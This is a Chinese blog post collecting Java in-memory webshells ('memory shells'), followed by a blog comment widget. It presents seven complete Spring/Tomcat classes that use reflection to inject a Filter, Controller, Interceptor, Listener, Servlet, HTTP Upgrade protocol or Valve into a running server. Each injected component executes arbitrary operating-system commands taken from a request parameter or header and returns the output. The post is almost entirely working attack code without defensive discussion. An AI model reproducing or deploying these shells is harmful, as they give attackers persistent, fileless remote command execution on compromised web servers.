Java内存马

Java内存马

收集网上的内存马

Filter内存马

package com.example.demo.controller;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import org.springframework.core.io.ClassPathResource;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import static org.apache.catalina.LifecycleState.STARTED;
import static org.apache.catalina.LifecycleState.STARTING_PREP;

@Controller
public class FilterController {
    public FilterController() {
    }

    @ResponseBody
    @RequestMapping({"/index"})
    public String index() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, ClassNotFoundException {
        Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
        java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
        java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
        f.setAccessible(true);
        if (!f.getBoolean(null)) {
            f.setBoolean(null, true);
        }
        //初始化 lastServicedRequest
        c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
        f = c.getDeclaredField("lastServicedRequest");
        modifiersField = f.getClass().getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
        f.setAccessible(true);
        if (f.get(null) == null) {
            f.set(null, new ThreadLocal());
        }
        //初始化 lastServicedResponse
        f = c.getDeclaredField("lastServicedResponse");
        modifiersField = f.getClass().getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
        f.setAccessible(true);
        if (f.get(null) == null) {
            f.set(null, new ThreadLocal());
        }
        Field field = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
        field.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) field.get(null);
        ServletRequest servletRequest = null;
        if (threadLocal != null && threadLocal.get() != null) {
            servletRequest = (ServletRequest) threadLocal.get();
        }
        if (servletRequest != null) {
            ServletContext servletContext = servletRequest.getServletContext();
            StandardContext standardContext = null;
            if (servletContext.getFilterRegistration("/asd") == null) {
                for (; standardContext == null; ) {
                    Field contextField = servletContext.getClass().getDeclaredField("context");
                    contextField.setAccessible(true);
                    Object object = contextField.get(servletContext);
                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        standardContext = (StandardContext) object;
                    }
                }
                if (standardContext != null) {
                    Field stateField = LifecycleBase.class.getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, STARTING_PREP);
                    Filter filter = new FilterShell();
                    FilterRegistration.Dynamic dynamic = servletContext.addFilter("asd", filter);
                    dynamic.setInitParameter("encoding", "utf8");
                    dynamic.setAsyncSupported(false);
                    dynamic.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
                    if (stateField != null){
                        stateField.set(standardContext, STARTED);
                    }
                    if (standardContext != null){
                        Method filterStartMethod = StandardContext.class.getMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext, null);
                        FilterMap[] filterMaps = standardContext.findFilterMaps();
                        for (int i = 0; i < filterMaps.length; i++){
                            if (filterMaps[i].getFilterName().equalsIgnoreCase("asd")){
                                FilterMap filterMap = filterMaps[i];
                                filterMaps[i] = filterMaps[0];
                                filterMaps[0] = filterMap;
                                break;
                            }
                        }
                    }
                }
            }
        }
        return "草,走,忽略!ጿ ኈ ቼ ዽ ጿ";
    }

    class FilterShell extends AbstractTranslet implements Filter {

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            System.out.println("succeed");
            String cmd;
            if ((cmd = servletRequest.getParameter("asd")) != null){
                Process process = Runtime.getRuntime().exec(cmd);
                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null){
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

        }
    }
}

Controller内存马

package com.example.demo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

@Controller
public class ControllerController {
    public ControllerController(){
    }

    @ResponseBody
    @RequestMapping({"/controller"})
    public String controllerShell() throws NoSuchMethodException, IllegalAccessException, NoSuchFieldException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 2. 从context中获得 RequestMappingHandlerMapping 的实例
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        // 3. 通过反射获得自定义 controller 中的 Method 对象
        Method method = InjectController.class.getMethod("shell");
        // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 6. 在内存中动态注册 controller
        RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths("/controllerinject").options(config).build();
        InjectController injectToController = new InjectController();
        mappingHandlerMapping.registerMapping(requestMappingInfo, injectToController, method);
        return "hhh";
    }

    class InjectController {
        public InjectController(){
        }

        public String shell(){
            HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
            String code = request.getParameter("cmd");
            if(code != null){
                try {
                    java.io.PrintWriter writer = response.getWriter();
                    String o = "";
                    ProcessBuilder p;
                    if(System.getProperty("os.name").toLowerCase().contains("win")){
                        p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                    }else{
                        p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                    }
                    java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                    o = c.hasNext() ? c.next(): o;
                    c.close();
                    writer.write(o);
                    writer.flush();
                    writer.close();
                }catch (Exception e){
                }
                return "!";
            }
            return "?";
        }
    }
}

Interceptor内存马

package com.example.demo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.ArrayList;

@Controller
public class InterceptorController {
    public InterceptorController(){
    }

    @ResponseBody
    @RequestMapping({"/interceptor"})
    public String test() throws NoSuchFieldException, IllegalAccessException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
        adaptedInterceptors.add(new InterceptorInject());
        return "aaa";
    }

    class InterceptorInject extends HandlerInterceptorAdapter {

        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
            String code = request.getParameter("cmd");
            if(code != null){
                try {
                    java.io.PrintWriter writer = response.getWriter();
                    String o = "";
                    ProcessBuilder p;
                    if(System.getProperty("os.name").toLowerCase().contains("win")){
                        p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                    }else{
                        p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                    }
                    java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                    o = c.hasNext() ? c.next(): o;
                    c.close();
                    writer.write(o);
                    writer.flush();
                    writer.close();
                }catch (Exception e){
                }
                return false;
            }
            return true;
        }
    }
}

Listener内存马

package com.example.demo.controller;

import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.ServletContext;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@Controller
public class ListenerController {
    public ListenerController(){
    }

    @ResponseBody
    @GetMapping({"/listener"})
    public String listenerShell() throws NoSuchFieldException, IllegalAccessException {
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
        ServletContext servletContext = request.getServletContext();
        Field applicationContextField = servletContext.getClass().getDeclaredField("context");
        applicationContextField.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
        Field standardContextField = applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
        standardContext.addApplicationEventListener(new Listener());
        return "Listener inject";
    }

    public class Listener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
}

Servlet内存马

package com.example.demo.controller;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.Servlet;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

@Controller
public class ServletController {
    public ServletController(){
    }

    @ResponseBody
    @GetMapping({"/servlet"})
    public String servletShell() throws NoSuchFieldException, IllegalAccessException {
        HttpServlet servlet = new HttpServlet() {
            @Override
            protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
                String cmd = req.getParameter("cmd");
                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i = inputStream.read(bytes)) != -1){
                        resp.getWriter().write(new String(bytes,0,i));
                        resp.getWriter().write("\r\n");
                    }
                }
            }

            @Override
            protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            }
        };
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
        ServletContext servletContext = request.getServletContext();
        Field applicationContextField = servletContext.getClass().getDeclaredField("context");
        applicationContextField.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
        Field standardContextField = applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setLoadOnStartup(1);
        wrapper.setName(servlet.getClass().getName());
        wrapper.setServlet(servlet);
        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded("/asd", servlet.getClass().getName());
        return "servlet inject";
    }
}

Upgrade内存马

package com.example.demo.controller;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.Response;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.http.HttpServletRequest;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.HashMap;

@Controller
public class UpgradeController {
    public UpgradeController(){
    }

    @ResponseBody
    @RequestMapping({"/upgrade"})
    public String test() throws NoSuchFieldException, IllegalAccessException {
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
        RequestFacade rf = (RequestFacade) request;
        Field requestField = RequestFacade.class.getDeclaredField("request");
        requestField.setAccessible(true);
        Request request1 = (Request) requestField.get(rf);
        Field connector = Request.class.getDeclaredField("connector");
        connector.setAccessible(true);
        Connector realConnector = (Connector) connector.get(request1);
        Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
        protocolHandlerField.setAccessible(true);
        AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);
        HashMap<String, UpgradeProtocol> upgradeProtocols = null;
        Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
        upgradeProtocolsField.setAccessible(true);
        upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
        upgradeProtocols.put("asd", new UpgradeInject());
        upgradeProtocolsField.set(handler, upgradeProtocols);
        return "upgrade";
    }

    class UpgradeInject implements UpgradeProtocol{

        @Override
        public String getHttpUpgradeName(boolean b) {
            return null;
        }

        @Override
        public byte[] getAlpnIdentifier() {
            return new byte[0];
        }

        @Override
        public String getAlpnName() {
            return null;
        }

        @Override
        public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
            return null;
        }

        @Override
        public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, org.apache.coyote.Request request) {
            return null;
        }

        @Override
        public boolean accept(org.apache.coyote.Request request) {
            String p = request.getHeader("cmd");
            try {
                String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
                Field response = org.apache.coyote.Request.class.getDeclaredField("response");
                response.setAccessible(true);
                Response resp = (Response) response.get(request);
                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
                resp.doWrite(ByteBuffer.wrap(result));
            } catch (Exception e) {
            }

            return false;
        }
    }
}

Valve内存马

package com.example.demo.controller;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ContainerBase;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardPipeline;
import org.apache.catalina.valves.ValveBase;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;

@Controller
public class ValveController {
    public ValveController(){
    }

    @ResponseBody
    @RequestMapping({"/valve"})
    public String test() throws NoSuchFieldException, IllegalAccessException {
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
        ServletContext servletContext = request.getServletContext();
        Field applicationContextField = servletContext.getClass().getDeclaredField("context");
        applicationContextField.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
        Field standardContextField = applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
        Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
        pipelineField.setAccessible(true);
        StandardPipeline standardPipeline = (StandardPipeline) pipelineField.get(standardContext);
        ValveBase valveBase = new ValveBase() {
            @Override
            public void invoke(Request request, Response response) throws IOException, ServletException {
                String code = request.getParameter("cmd");
                if(code != null){
                    try {
                        java.io.PrintWriter writer = response.getWriter();
                        String o = "";
                        ProcessBuilder p;
                        if(System.getProperty("os.name").toLowerCase().contains("win")){
                            p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                        }else{
                            p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                        }
                        java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                        o = c.hasNext() ? c.next(): o;
                        c.close();
                        writer.write(o);
                        writer.flush();
                        writer.close();
                    }catch (Exception e){
                    }
                }
            }
        };
        standardPipeline.addValve(valveBase);
        return "valve";
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇